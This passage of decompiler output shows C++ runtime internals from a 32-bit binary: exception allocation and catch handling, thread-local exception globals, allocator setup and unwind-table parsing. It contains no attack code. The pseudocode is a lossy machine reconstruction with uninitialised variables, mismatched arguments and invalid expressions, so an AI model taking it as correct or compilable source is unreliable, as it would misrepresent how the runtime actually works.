g96 = -1;
int32_t v3 = 0; // 0x809e921
int32_t v4 = -1; // 0x809e91d
if (a2 != 0) {
// 0x809e903
g95 = 0;
int32_t v5 = g97; // 0x809e90f
int32_t v6 = v5 + strlen((char *)a2); // 0x809e90f
g96 = v6;
v3 = v5;
v4 = v6;
// branch -> 0x809e912
}
int32_t v7 = a3; // bp-20
int32_t v8;
int32_t v9 = std__string___S_construct_lt_char_const__ptr__gt_((char *)&v3, (char *)&v4, (struct struct_97 *)&v7, 0x1000000 * g95 / 0x1000000, 0, v2, v1, v8); // 0x809e924
g102 = v9;
int32_t * v10;
int32_t v11; // 0x809e937
if (g27 == 0) {
// 0x809e93f
v8 = 0x8132c08;
int32_t result = (int32_t)a1; // 0x809e946
int32_t v12;
int32_t v13 = __cxa_guard_acquire((char *)&v8, result, a2, a3, a4, a5, a6, v12, 0); // 0x809e946
if (v13 != 0) {
// 0x809e94f
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v8 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v8 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
*a1 = g102;
g102 = a5;
g100 = a6;
return result;
}
v11 = g102;
v10 = (int32_t *)0x809e94b;
// branch -> 0x809e934
} else {
// 0x809e912
v11 = v9;
v10 = (int32_t *)v1;
// branch -> 0x809e934
}
// 0x809e934
*a1 = v11;
g102 = v2;
g100 = (int32_t)v10;
return (int32_t)a1;
}
// Address range: 0x809eadc - 0x809eaeb
int32_t __gnu_cxx____exchange_and_add(int32_t * a1, int32_t a2) {
// 0x809eadc
g97 = (int32_t)a1;
g95 = a2;
int32_t result = *a1; // 0x809eae6
*a1 = result + a2;
return result;
}
// Address range: 0x809eaec - 0x809eafb
int32_t __gnu_cxx____atomic_add(int32_t * a1, int32_t a2) {
// 0x809eaec
*a1 = *a1 + a2;
return (int32_t)a1;
}
// Address range: 0x809eafc - 0x809eb22
int32_t _ZdlPv(int32_t * a1) {
// 0x809eafc
v1();
if (a1 != NULL) {
// 0x809eb15
free(a1);
// branch -> 0x809eb1d
}
// 0x809eb1d
return (int32_t)a1;
}
// Address range: 0x809eb23 - 0x809eb27
int32_t __i686_get_pc_thunk_bx(void) {
// 0x809eb23
int32_t result;
return result;
}
// Address range: 0x809ec00 - 0x809ed06
int32_t __cxa_allocate_exception(int32_t * a1, int32_t a2) {
struct struct_45 * v1 = NULL;
int32_t (*v2)() = (int32_t (*)())g100; // 0x809ec00_0
int32_t v3 = g102; // 0x809ec03
int32_t v4 = g101; // 0x809ec04
int32_t v5 = g98; // 0x809ec05
g98 = __i686_get_pc_thunk_bx() + 0x92aea;
int32_t v6 = (int32_t)a1; // 0x809ec14
int32_t v7 = v6 + 80; // 0x809ec17
g102 = v7;
__libc_malloc((int32_t *)v7, 0, 0);
int32_t v8 = g95; // 0x809ec22
g101 = v8;
int32_t * v9; // 0x809ec65_0
int32_t v10; // 0x809ec81
if (v8 != 0) {
// 0x809ec5c
v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4);
*v9 = *v9 + 1;
memset((int32_t *)g101, (int32_t)g2, 80);
v10 = g101;
g98 = v5;
g101 = v4;
g102 = v3;
g100 = v2;
return v10 + 80;
}
int32_t v11 = g98; // 0x809ec28
int32_t v12 = *(int32_t *)(v11 + 1656); // 0x809ec28
int32_t (*v13)();
struct struct_45 * v14; // 0x809ecc5_0
struct struct_45 * v15; // 0x809ecf1_4
int32_t v16; // 0x809eca9
int32_t v17; // 0x809ec3e
if (v12 == 0) {
// 0x809ec3e
v17 = *(int32_t *)(v11 + 0x37f4);
g97 = v17;
if (g102 >= 513) {
// 0x809ec4c
g101 = 0;
// branch -> 0x809ec54
// 0x809ec54
// branch -> 0x809ecf1
// 0x809ecf1
v15 = (struct struct_45 *)std__terminate((int32_t)v1);
if (g97 == -1) {
// 0x809ecf1
// branch -> 0x809ed03
} else {
// 0x809ecfb
_Unwind_Resume(&v15->e0, a1, &a2);
// branch -> 0x809ed03
}
// 0x809ed03
__cxa_call_unexpected(&v15->e0, v6, a2);
return g95;
}
v16 = v11;
v13 = v2;
} else {
int32_t v18 = v11 + 0x37f8; // 0x809eccf
v1 = (struct struct_45 *)v18;
__pthread_mutex_lock_internal((struct struct_3 *)v18, a1, &a2, NULL);
int32_t v19 = g98; // 0x809ecdd
int32_t v20 = *(int32_t *)(v19 + 0x37f4); // 0x809ecdd
g97 = v20;
if (g102 > 512) {
// 0x809ec4c
g101 = 0;
// branch -> 0x809ecbf
// 0x809ecbf
v14 = (struct struct_45 *)(v19 + 0x37f8);
__pthread_mutex_unlock_internal(v14);
// branch -> 0x809ec54
// 0x809ec54
if (g101 == 0) {
// 0x809ecf1
v15 = (struct struct_45 *)std__terminate((int32_t)v14);
if (g97 == -1) {
// 0x809ecf1
// branch -> 0x809ed03
} else {
// 0x809ecfb
_Unwind_Resume(&v15->e0, a1, &a2);
// branch -> 0x809ed03
}
// 0x809ed03
__cxa_call_unexpected(&v15->e0, v6, a2);
return g95;
}
// 0x809ec5c
v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4);
*v9 = *v9 + 1;
memset((int32_t *)g101, (int32_t)g2, 80);
v10 = g101;
g98 = v5;
g101 = v4;
g102 = v3;
g100 = (int32_t (*)())0x809eccd;
return v10 + 80;
}
v16 = v19;
v17 = v20;
v13 = (int32_t (*)())0x809ecdd;
}
// 0x809ec8c
g96 = 0;
uint32_t v21 = v17; // 0x809ec92
// branch -> 0x809ec9c
for (uint32_t i = 0; i < 32; i++) {
// 0x809ec9c
int32_t v22; // 0x809ecb2
if (v21 % 2 == 0) {
uint32_t v23 = i % 32; // 0x809eca5
int32_t v24 = 1; // 0x809eca7
if (v23 != 0) {
// if_809eca5_0_true
v24 = 1 << v23;
// branch -> after_if_809eca5_0
}
int32_t v25 = v24 | v17; // 0x809eca7
g97 = v25;
*(int32_t *)(v16 + 0x37f4) = v25;
int32_t v26 = 512 * g96; // 0x809ecaf
g96 = v26;
v22 = g98;
int32_t v27 = v22 + 0x3828 + v26; // 0x809ecb2
g101 = v27;
if (v12 == 0) {
// 0x809ec54
if (v27 == 0) {
// 0x809ecf1
v15 = (struct struct_45 *)std__terminate((int32_t)v1);
if (g97 == -1) {
// 0x809ecf1
// branch -> 0x809ed03
// 0x809ed03
__cxa_call_unexpected(&v15->e0, v6, a2);
return g95;
}
// 0x809ecfb
_Unwind_Resume(&v15->e0, a1, &a2);
// branch -> 0x809ed03
// 0x809ed03
__cxa_call_unexpected(&v15->e0, v6, a2);
return g95;
}
// 0x809ec5c
v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4);
*v9 = *v9 + 1;
memset((int32_t *)g101, (int32_t)g2, 80);
v10 = g101;
g98 = v5;
g101 = v4;
g102 = v3;
g100 = v13;
return v10 + 80;
}
} else {
// 0x809ec92
g96 = i + 1;
// PHI copies at the loop end
v21 /= 2;
// loop 0x809ec9c end
continue;
}
// 0x809ecbf
v14 = (struct struct_45 *)(v22 + 0x37f8);
v1 = v14;
__pthread_mutex_unlock_internal(v14);
// branch -> 0x809ec54
// 0x809ec54
if (g101 == 0) {
// 0x809ecf1
v15 = (struct struct_45 *)std__terminate((int32_t)v1);
if (g97 == -1) {
// 0x809ecf1
// branch -> 0x809ed03
// 0x809ed03
__cxa_call_unexpected(&v15->e0, v6, a2);
return g95;
}
// 0x809ecfb
_Unwind_Resume(&v15->e0, a1, &a2);
// branch -> 0x809ed03
// 0x809ed03
__cxa_call_unexpected(&v15->e0, v6, a2);
return g95;
}
}
// 0x809ec4c
g101 = 0;
if (v12 == 0) {
// 0x809ec54
// branch -> 0x809ecf1
} else {
// 0x809ecbf
v14 = (struct struct_45 *)(v16 + 0x37f8);
v1 = v14;
__pthread_mutex_unlock_internal(v14);
// branch -> 0x809ec54
// 0x809ec54
if (g101 != 0) {
// 0x809ec5c
v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4);
*v9 = *v9 + 1;
memset((int32_t *)g101, (int32_t)g2, 80);
v10 = g101;
g98 = v5;
g101 = v4;
g102 = v3;
g100 = (int32_t (*)())0x809eccd;
return v10 + 80;
}
}
// 0x809ecf1
v15 = (struct struct_45 *)std__terminate((int32_t)v1);
if (g97 == -1) {
// 0x809ecf1
// branch -> 0x809ed03
} else {
// 0x809ecfb
_Unwind_Resume(&v15->e0, a1, &a2);
// branch -> 0x809ed03
}
// 0x809ed03
__cxa_call_unexpected(&v15->e0, v6, a2);
return g95;
}
// Address range: 0x809ed0b - 0x809ed0f
int32_t __i686_get_pc_thunk_cx(void) {
// 0x809ed0b
int32_t result;
return result;
}
// Address range: 0x809ed10 - 0x809edaf
int32_t __cxa_begin_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
// 0x809ed10
int32_t v1;
int32_t v2 = v1; // bp+44
int32_t v3 = g100; // 0x809ed10
int32_t v4 = g102; // 0x809ed13
int32_t v5 = g101; // 0x809ed14
int32_t v6 = g98; // 0x809ed15
g98 = __i686_get_pc_thunk_bx() + 0x929da;
int32_t v7;
int32_t v8 = __cxa_get_globals(v7, 0, 0, 0, 0); // 0x809ed24
struct struct_3 * v9 = (struct struct_3 *)v8; // 0x809ed24_7
g102 = v8;
int32_t * v10 = (int32_t *)v8; // 0x809ed2b_0
int32_t v11 = *v10; // 0x809ed2b
int32_t v12 = a1 - 48; // 0x809ed33
g101 = v12;
int32_t v13 = *(int32_t *)(a1 + 4); // 0x809ed39
g97 = v13;
int32_t v14 = v13 ^ 0x474e5543; // 0x809ed3e
int32_t v15 = *(int32_t *)a1 ^ 0x432b2b00; // 0x809ed44
g96 = v14 | v15;
if (v15 != v14) {
// 0x809ed4d
g95 = v11;
if (v11 == 0) {
// 0x809ed54
*v10 = v12;
g98 = v6;
g101 = v5;
g102 = v4;
g100 = v3;
return 0;
}
int32_t v16 = std__terminate(v1); // 0x809ed92
if (g97 != -1) {
// 0x809ed9c
v2 = v16;
_Unwind_Resume(&v2, NULL, NULL);
// branch -> 0x809eda4
}
// 0x809eda4
v2 = v16;
__cxa_call_unexpected(&v2, 0, 0);
return g95;
}
int32_t * v17 = (int32_t *)(a1 - 28); // 0x809ed60_0
int32_t v18 = *v17; // 0x809ed60
g95 = v18;
int32_t v19 = v18 + 1; // 0x809ed63
g97 = v19;
if (v18 < 0) {
int32_t v20 = 1 - v18; // 0x809ed8e
g97 = v20;
v19 = v20;
// branch -> 0x809ed6a
}
// 0x809ed6a
*v17 = v19;
v9->e1--;
int32_t v21; // 0x809ed7e
if (v11 != g101) {
// 0x809ed76
g95 = v11;
*(int32_t *)(g101 + 16) = v11;
*(int32_t *)g102 = g101;
v21 = g101;
// branch -> 0x809ed7e
} else {
v21 = v11;
}
// 0x809ed7e
int32_t v22;
g98 = v22;
int32_t v23;
g101 = v23;
int32_t v24;
g102 = v24;
int32_t * v25;
g100 = (int32_t)v25;
return *(int32_t *)(v21 + 40);
}
// Address range: 0x809edb0 - 0x809ee4b
int32_t __cxa_end_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10) {
int32_t v1 = g100; // 0x809edb0
int32_t v2 = g102; // 0x809edb3
int32_t v3 = g101; // 0x809edb4
int32_t v4 = g98; // 0x809edb5
g98 = __i686_get_pc_thunk_bx() + 0x9293a;
int32_t result = __cxa_get_globals_fast(); // 0x809edc4
g102 = result;
int32_t * v5 = (int32_t *)result; // 0x809edcb_0
int32_t v6 = *v5; // 0x809edcb
g101 = v6;
if (v6 == 0) {
// 0x809edf9
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return result;
}
int32_t v7 = *(int32_t *)(v6 + 52) ^ 0x474e5543; // 0x809edd9
int32_t v8 = *(int32_t *)(v6 + 48) ^ 0x432b2b00; // 0x809eddf
g96 = v7 | v8;
if (v8 != v7) {
// 0x809ede8
*v5 = 0;
int32_t v9 = g101 + 48; // 0x809edee
g95 = v9;
int32_t result2 = _Unwind_DeleteException(v9);
// branch -> 0x809edf9
// 0x809edf9
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return result2;
}
int32_t * v10 = (int32_t *)(v6 + 20); // 0x809ee01_0
int32_t result5 = *v10; // 0x809ee01
int32_t v11; // 0x809ee37
if (result5 < 0) {
// 0x809ee35
v11 = result5 + 1;
if (v11 == 0) {
int32_t result3 = *(int32_t *)(v6 + 16); // 0x809ee3c
*v5 = result3;
*(int32_t *)(g101 + 20) = v11;
// branch -> 0x809ee15
// 0x809ee15
g98 = a3;
g101 = a4;
g102 = a5;
g100 = (int32_t)a6;
return result3;
}
} else {
int32_t v12 = result5 - 1; // 0x809ee08
g97 = v12;
if (v12 == 0) {
// 0x809ee1d
*v5 = *(int32_t *)(v6 + 16);
int32_t v13 = g101 + 48; // 0x809ee22
g95 = v13;
int32_t result4 = _Unwind_DeleteException(v13); // 0x809ee28
g98 = a10;
int32_t v14;
g101 = v14;
int32_t v15;
g102 = v15;
int32_t * v16;
g100 = (int32_t)v16;
return result4;
}
// 0x809ee10
if (v12 < 0) {
// 0x809ee46
int32_t v17;
std__terminate(v17);
return g95;
}
v11 = v12;
}
// 0x809ee12
*v10 = v11;
// branch -> 0x809ee15
// 0x809ee15
g98 = a3;
g101 = a4;
g102 = a5;
g100 = (int32_t)a6;
return result5;
}
// Address range: 0x809f030 - 0x809f065
int32_t __cxa_get_globals_fast(void) {
int32_t v1 = __i686_get_pc_thunk_bx(); // 0x809f037
int32_t key; // 0x809f052
if (*(int32_t *)(v1 + 0x92d78) != 0) {
// 0x809f052
key = *(int32_t *)(v1 + 0x99ee4);
pthread_getspecific(key);
// branch -> 0x809f060
} else {
key = v1 + 0x99ee8;
}
// 0x809f060
return key;
}
// Address range: 0x809f066 - 0x809f0bf
int32_t get_globals_init_once(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = g100; // 0x809f066
int32_t v2 = g98; // 0x809f069
int32_t v3 = __i686_get_pc_thunk_bx(); // 0x809f06d
int32_t v4 = v3 + 0x92686; // 0x809f072
if (*(int32_t *)(v3 + 0x92d46) == 0) {
// 0x809f09e
*(int32_t *)(v4 + 1724) = 0;
g98 = v2;
g100 = v1;
return 0;
}
int32_t v5 = v3 + 0x99eba; // 0x809f08c
g95 = v5;
int32_t result = pthread_once((int32_t *)v5, (void (*)(int32_t *))(v3 - 128)); // 0x809f095
if (result != 0) {
// 0x809f09e
*(int32_t *)(v4 + 1724) = 0;
g98 = v2;
g100 = v1;
return result;
}
uint32_t v6 = *(int32_t *)(v4 + 1724); // 0x809f0ae
g96 = v6;
if (v6 >= 0) {
// 0x809f0b8
int32_t v7;
g98 = v7;
int32_t v8;
g100 = v8;
return 0;
}
// 0x809f09e
*(int32_t *)(v4 + 1724) = 0;
g98 = v2;
g100 = v1;
return 0;
}
// Address range: 0x809f0c0 - 0x809f17f
int32_t __cxa_get_globals(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t v1 = g100; // 0x809f0c0
int32_t v2 = g101; // 0x809f0c3
int32_t v3 = g98; // 0x809f0c4
int32_t v4 = __i686_get_pc_thunk_bx(); // 0x809f0c8
int32_t v5 = v4 + 0x9262b; // 0x809f0cd
g98 = v5;
int32_t v6 = *(int32_t *)(v4 + 0x92ce7); // 0x809f0d3
if (v6 == 0) {
// 0x809f0fb
g98 = a4;
g101 = a5;
int32_t * v7;
g100 = (int32_t)v7;
return v4 + 0x99e57;
}
if (v6 < 0) {
// 0x809f10a
get_globals_init_once((int32_t)NULL, 0, 0);
int32_t v8 = g98; // 0x809f10f
int32_t v9 = *(int32_t *)(v8 + 1724); // 0x809f115
g95 = v9;
if (v9 == 0) {
// 0x809f0f2
g98 = v3;
g101 = v2;
g100 = v1;
return v8 + 0x782c;
}
v5 = v8;
}
int32_t key = *(int32_t *)(v5 + 0x7828); // 0x809f0de
g95 = key;
pthread_getspecific(key);
int32_t result = g95; // 0x809f0ec
if (result != 0) {
// 0x809f0f2
g98 = v3;
g101 = v2;
g100 = v1;
return result;
}
struct struct_45 * v10 = (struct struct_45 *)8; // bp+28
int32_t v11 = __libc_malloc((int32_t *)8, 0, 0); // 0x809f128
int32_t v12 = g95; // 0x809f12d
g101 = v12;
int32_t * value; // 0x809f133_0
if (v12 != 0) {
// 0x809f133
value = (int32_t *)v12;
struct struct_45 * key2 = (struct struct_45 *)*(int32_t *)(g98 + 0x7828); // 0x809f13d_0
v10 = key2;
if (pthread_setspecific(key2, value) == 0) {
// 0x809f149
*(int32_t *)g101 = 0;
*(int32_t *)(g101 + 4) = 0;
int32_t result2 = g101; // 0x809f0f2
// branch -> 0x809f0f2
// 0x809f0f2
g98 = v3;
g101 = v2;
g100 = v1;
return result2;
}
}
struct struct_45 * v13 = (struct struct_45 *)std__terminate((int32_t)v10); // 0x809f158_4
if (v11 == -1) {
// 0x809f158
// branch -> 0x809f16a
} else {
// 0x809f162
_Unwind_Resume(&v13->e0, value, NULL);
// branch -> 0x809f16a
}
// 0x809f16a
__cxa_call_unexpected(&v13->e0, (int32_t)value, 0);
return g95;
}
// Address range: 0x809f180 - 0x809f1f0
int32_t base_of_encoded_value(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
int32_t v1 = g100; // 0x809f180
int32_t v2 = g98; // 0x809f183
g98 = __i686_get_pc_thunk_bx() + 0x9256c;
int32_t v3 = g95; // 0x809f192
if (v3 == -1) {
// 0x809f1bb
// branch -> 0x809f1bd
// 0x809f1bd
g98 = v2;
g100 = v1;
return 0;
}
uint32_t v4 = v3 & 112; // 0x809f196
if (v4 == 32) {
int32_t v5 = g97;
int32_t result = _Unwind_GetTextRelBase(&v5); // 0x809f1c6
g98 = (int32_t)a1;
g100 = (int32_t)a2;
return result;
}
// 0x809f19e
if (v4 < 33) {
// 0x809f1b7
if (v4 != 0) {
// 0x809f1d1
if (v4 != 16) {
// 0x809f1d6
abort();
// UNREACHABLE
}
}
// 0x809f1bb
// branch -> 0x809f1bd
// 0x809f1bd
g98 = v2;
g100 = v1;
return 0;
}
// 0x809f1a0
int32_t result2; // 0x809f1de1
if (v4 == 64) {
// 0x809f1db
a3 = g97;
result2 = _Unwind_GetRegionStart(&a3);
// branch -> 0x809f1bd
// 0x809f1bd
g98 = v2;
g100 = v1;
return result2;
}
// 0x809f1a5
if (v4 == 80) {
// 0x809f1bb
// branch -> 0x809f1bd
// 0x809f1bd
g98 = v2;
g100 = v1;
return 0;
}
// 0x809f1aa
if (v4 != 48) {
// 0x809f1b2
abort();
// UNREACHABLE
}
// 0x809f1e5
a3 = g97;
_Unwind_GetDataRelBase(&a3);
// branch -> 0x809f1bd
// 0x809f1bd
g98 = v2;
g100 = v1;
return result2;
}
// Address range: 0x809f1f2 - 0x809f231
int32_t read_uleb128(int32_t * a1) {
int32_t v1 = g95; // 0x809f1fa
*(int32_t *)g97 = (int32_t)(*(char *)v1 % 128);
g95 = v1 + 1;
return 0;
}
// Address range: 0x809f2a0 - 0x809f355
int32_t read_encoded_value_with_base(int32_t * a1, int32_t * a2, int32_t * a3, int32_t a4) {
int32_t v1 = g101; // 0x809f2a4
int32_t v2 = __i686_get_pc_thunk_bx(); // 0x809f2a9
int32_t v3 = g96; // 0x809f2b7
g101 = v3;
uint32_t v4 = g95; // 0x809f2b9
if (v4 == 80) {
// 0x809f2dd
g97 = g5;
g96 = v3 + 7 & -4;
g95 = (int32_t)a1;
*a1 = g5;
g101 = v1;
return g96;
}
// 0x809f2bf
g95 = v4 % 256;
uint32_t v5 = v4 % 16; // 0x809f2c5
if (v5 >= 13) {
// 0x809f2cd
abort();
// UNREACHABLE
}
int32_t v6 = *(int32_t *)(v2 + 0x687fa + 4 * v5); // 0x809f2d2
g95 = v6 + v2 + 0x9244a;
return unknown_81316f8();
}
// Address range: 0x809f356 - 0x809f44f
int32_t parse_lsda_header(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7) {
struct struct_103 * v1 = NULL; // bp-44
int32_t v2 = g100; // 0x809f356
int32_t v3 = g102; // 0x809f359
int32_t v4 = g101; // 0x809f35a
int32_t v5 = g98; // 0x809f35b
g98 = __i686_get_pc_thunk_bx() + 0x92394;
int32_t v6 = g95; // 0x809f36a
g101 = v6;
int32_t v7 = g97;
struct struct_103 * v8 = (struct struct_103 *)g96; // 0x809f36e_0
int32_t v9 = 0; // 0x809f382
if (v6 != 0) {
struct struct_103 * v10 = (struct struct_103 *)v6; // 0x809f377_0
v1 = v10;
_Unwind_GetRegionStart(&v10->e0);
v9 = g95;
// branch -> 0x809f38f
}
// 0x809f38f
v8->e0 = v9;
int32_t v11 = (int32_t)*(char *)v7; // 0x809f384
g102 = v7 + 1;
int32_t v12 = v11; // bp-36
g97 = g101;
g95 = v11;
base_of_encoded_value(&v1->e0, &v8->e0, v11, 0, 0, 0);
struct struct_103 * v13 = (struct struct_103 *)((int32_t)v8 + 4); // 0x809f3a5_0
v1 = v13;
g96 = g102;
g95 = v11;
int32_t v14 = read_encoded_value_with_base(&v13->e0, &v8->e0, &v12, 0); // 0x809f3af
g102 = v14;
unsigned char v15 = *(char *)v14; // 0x809f3b6
g97 = (int32_t)v8;
v8->e5 = v15;
int32_t v16 = g102 + 1; // 0x809f3bf
int32_t v17 = v16;
int32_t v18;
if (((int32_t)v15 + 1) % 256 == 0) {
// 0x809f419
v8->e3 = 0;
unsigned char v19 = *(char *)v17; // 0x809f426
g95 = v19;
g97 = (int32_t)v8;
v8->e5 = v19;
int32_t result = v17 + 1; // 0x809f42f
read_uleb128(&NULL->e0);
v8->e4 = result + v18;
g98 = a7;
int32_t v20;
g101 = v20;
int32_t v21;
g102 = v21;
int32_t v22;
g100 = v22;
return result;
}
// 0x809f3c6
g95 = v16;
read_uleb128(&v1->e0);
int32_t v23 = g95; // 0x809f3d2
v17 = v23;
v8->e3 = v23 + v18;
unsigned char v24 = *(char *)v17; // 0x809f3dd
g95 = v24;
g97 = (int32_t)v8;
v8->e5 = v24;
int32_t result2 = v17 + 1; // 0x809f3e6
read_uleb128(&v1->e0);
v8->e4 = result2 + v18;
g98 = v5;
g101 = v4;
g102 = v3;
g100 = v2;
return result2;
}
// Address range: 0x809f450 - 0x809f4e7
int32_t get_ttype_entry(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
int32_t v1 = g100; // 0x809f450
int32_t v2 = g102; // 0x809f453
int32_t v3 = g101; // 0x809f454
int32_t v4 = g98; // 0x809f455
g98 = __i686_get_pc_thunk_bx() + 0x9229a;
int32_t v5 = g95; // 0x809f464
g101 = v5;
unsigned char v6 = *(char *)(v5 + 20); // 0x809f466
int32_t v7 = v6; // 0x809f466
g102 = v7;
unsigned char v8 = v6 % 8;
g95 = v8;
int32_t * v9;
if (v8 == 2) {
// 0x809f4b7
g96 = *(int32_t *)(v5 + 12) - 2 * g97;
g97 = *(int32_t *)(v5 + 8);
g95 = v7;
read_encoded_value_with_base(v9, &a1, &a2, a3);
int32_t v10;
g98 = v10;
int32_t v11;
g101 = v11;
int32_t v12;
g102 = v12;
int32_t v13;
g100 = v13;
return (int32_t)v9;
}
// 0x809f478
if (v8 < 3) {
// 0x809f48c
if (v8 != 0) {
// 0x809f487
abort();
// UNREACHABLE
}
// 0x809f492
// branch -> 0x809f497
// 0x809f497
g96 = *(int32_t *)(v5 + 12) - 4 * g97;
g97 = *(int32_t *)(v5 + 8);
g95 = v7;
read_encoded_value_with_base(v9, NULL, NULL, 0);
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return (int32_t)v9;
}
// 0x809f47a
if (v8 == 3) {
// 0x809f492
// branch -> 0x809f497
// 0x809f497
g96 = *(int32_t *)(v5 + 12) - 4 * g97;
g97 = *(int32_t *)(v5 + 8);
g95 = v7;
read_encoded_value_with_base(v9, NULL, NULL, 0);
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return (int32_t)v9;
}
// 0x809f482
if (v8 != 4) {
// 0x809f487
abort();
// UNREACHABLE
}
// 0x809f4da
// branch -> 0x809f497
// 0x809f497
g96 = *(int32_t *)(v5 + 12) - 8 * g97;
g97 = *(int32_t *)(v5 + 8);
g95 = v7;
read_encoded_value_with_base(v9, NULL, NULL, 0);
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return (int32_t)v9;
}
// Address range: 0x809f4e8 - 0x809f547
int32_t get_adjusted_ptr(struct struct_103 * a1, int32_t a2) {
int32_t v1 = g102; // 0x809f4eb
int32_t v2 = g101; // 0x809f4ec
uint32_t v3 = g99; // 0x809f4ed
g1 = v3 < 48;
g103 = v3 == 48;
g102 = g95;
int32_t v4 = g97; // 0x809f4f2
g101 = v4;
int32_t v5 = g96; // 0x809f4f4
int32_t v6 = *(int32_t *)v5; // 0x809f4f7
int32_t v7 = *(int32_t *)v4; // 0x809f4fc
g95 = v7;
int32_t v8 = *(int32_t *)(v7 + 8); // 0x809f501
int32_t * v9;
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v8)(v4, 0, (int32_t)v9, 0, 0, 0);
int32_t v10 = g95; // 0x809f504
g1 = false;
g103 = 0x1000000 * v10 == 0;
int32_t v11 = v6;
if (v10 != 0) {
// 0x809f508
v11 = *(int32_t *)v6;
// branch -> 0x809f510
}
int32_t v12 = g102; // 0x809f510
int32_t v13 = *(int32_t *)v12; // 0x809f510
g95 = v13;
((int32_t (*)(int32_t, int32_t, int32_t))*(int32_t *)(v13 + 16))(v12, g101, v11);
int32_t result; // 0x809f53e
if (g95 == 0) {
// 0x809f510
result = g97;
// branch -> 0x809f53e
} else {
// 0x809f531
g95 = v11;
*(int32_t **)v5 = (int32_t *)v11;
g97 = 1;
result = 1;
// branch -> 0x809f53e
}
// 0x809f53e
g101 = v2;
g102 = v1;
return result;
}
// Address range: 0x809f548 - 0x809f5a5
int32_t check_exception_spec(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
struct struct_103 * v1 = NULL; // bp-44
int32_t v2 = g100; // 0x809f548
int32_t v3 = g102; // 0x809f54b
int32_t v4 = g101; // 0x809f54c
int32_t v5 = g95; // 0x809f550
g102 = v5;
int32_t v6 = g97; // 0x809f552
int32_t v7 = *(int32_t *)(v5 + 12) - a1 - 1; // 0x809f55e
g101 = v7;
int32_t v8;
g97 = v8;
g95 = v7;
read_uleb128(&v1->e0);
g101 = g95;
g97 = v8;
if (v8 == 0) {
// 0x809f59c
g101 = a8;
int32_t v9;
g102 = v9;
int32_t v10;
g100 = v10;
return 0;
}
while (true) {
// 0x809f57a
g95 = g102;
get_ttype_entry((int32_t)v1, v8, v6, g96, 0, 0);
g97 = v6;
if (get_adjusted_ptr(v1, v8) != 0) {
// 0x809f590
g101 = v4;
g102 = v3;
g100 = v2;
return 1;
}
// 0x809f57a
g97 = v8;
g95 = g101;
read_uleb128(&v1->e0);
g101 = g95;
g97 = v8;
// branch -> 0x809f57a
}
}
// Address range: 0x809f5a6 - 0x809f69f
int32_t __cxa_call_unexpected(int32_t * a1, int32_t a2, int32_t a3) {
// 0x809f5a6
g98 = __i686_get_pc_thunk_bx() + 0x92144;
int32_t v1 = (int32_t)a1; // 0x809f5ba
g101 = v1;
__cxa_begin_catch(v1, 0, 0, 0, 0, 0);
int32_t v2 = g101; // 0x809f5c5
g101 = v2 - 48;
g102 = *(int32_t *)(v2 - 16);
int32_t v3 = *(int32_t *)(v2 - 24); // 0x809f5cb
int32_t v4 = *(int32_t *)(v2 - 36); // 0x809f5d1
int32_t * v5 = (int32_t *)v4; // 0x809f5d4_0
int32_t v6 = *(int32_t *)(v2 - 40); // 0x809f5dd
g95 = v6;
int32_t v7 = _ZN10__cxxabiv112__unexpectedEPFvvE(v6, 0); // 0x809f5e3
__cxa_begin_catch(v7, 0, 0, 0, 0, 0);
int32_t v8 = *(int32_t *)__cxa_get_globals_fast(); // 0x809f5f5
g101 = v8;
int32_t v9 = v8 + 80; // 0x809f5f7
g95 = v9;
g97 = g102;
parse_lsda_header(v7, 0, 0, 0, 0, 0, 0);
g96 = v9;
g97 = *(int32_t *)g101;
int32_t v10;
g95 = v10;
int32_t * v11 = (int32_t *)v3; // 0x809f68d_31
int32_t v12; // bp-84
int32_t v13; // bp-88
if (check_exception_spec(v3, 0, 0, 0, 0, 0, 0, v10) == 0) {
int32_t v14 = *(int32_t *)(g98 - 12); // 0x809f625
g101 = v14;
g96 = 0;
g97 = v14;
g95 = v10;
if (check_exception_spec(v3, 0, 0, 0, 0, 0, 0, v10) != 0) {
int32_t v15 = __cxa_allocate_exception((int32_t *)4, 0); // 0x809f648
*(int32_t *)v15 = *(int32_t *)(g98 - 92) + 8;
int32_t v16 = *(int32_t *)(g98 - 36); // 0x809f658
v12 = v16;
int32_t v17 = g101; // 0x809f662
v13 = v17;
g101 = __cxa_throw(v15, v17, v16, 0, 0);
__cxa_end_catch(v15, v17, v16, 0, 0, NULL, 0, v10, v3, v4);
__cxa_end_catch(v15, v17, v16, 0, 0, NULL, 0, v10, v3, v4);
_Unwind_Resume((int32_t *)g101, &v13, &v12);
// branch -> 0x809f682
}
// 0x809f682
g95 = v4;
_ZN10__cxxabiv111__terminateEPFvvE(v5, v13, v12);
v11 = v5;
// branch -> 0x809f68d
}
// 0x809f68d
__cxa_rethrow((int32_t)v11, v13, v12);
return g95;
}
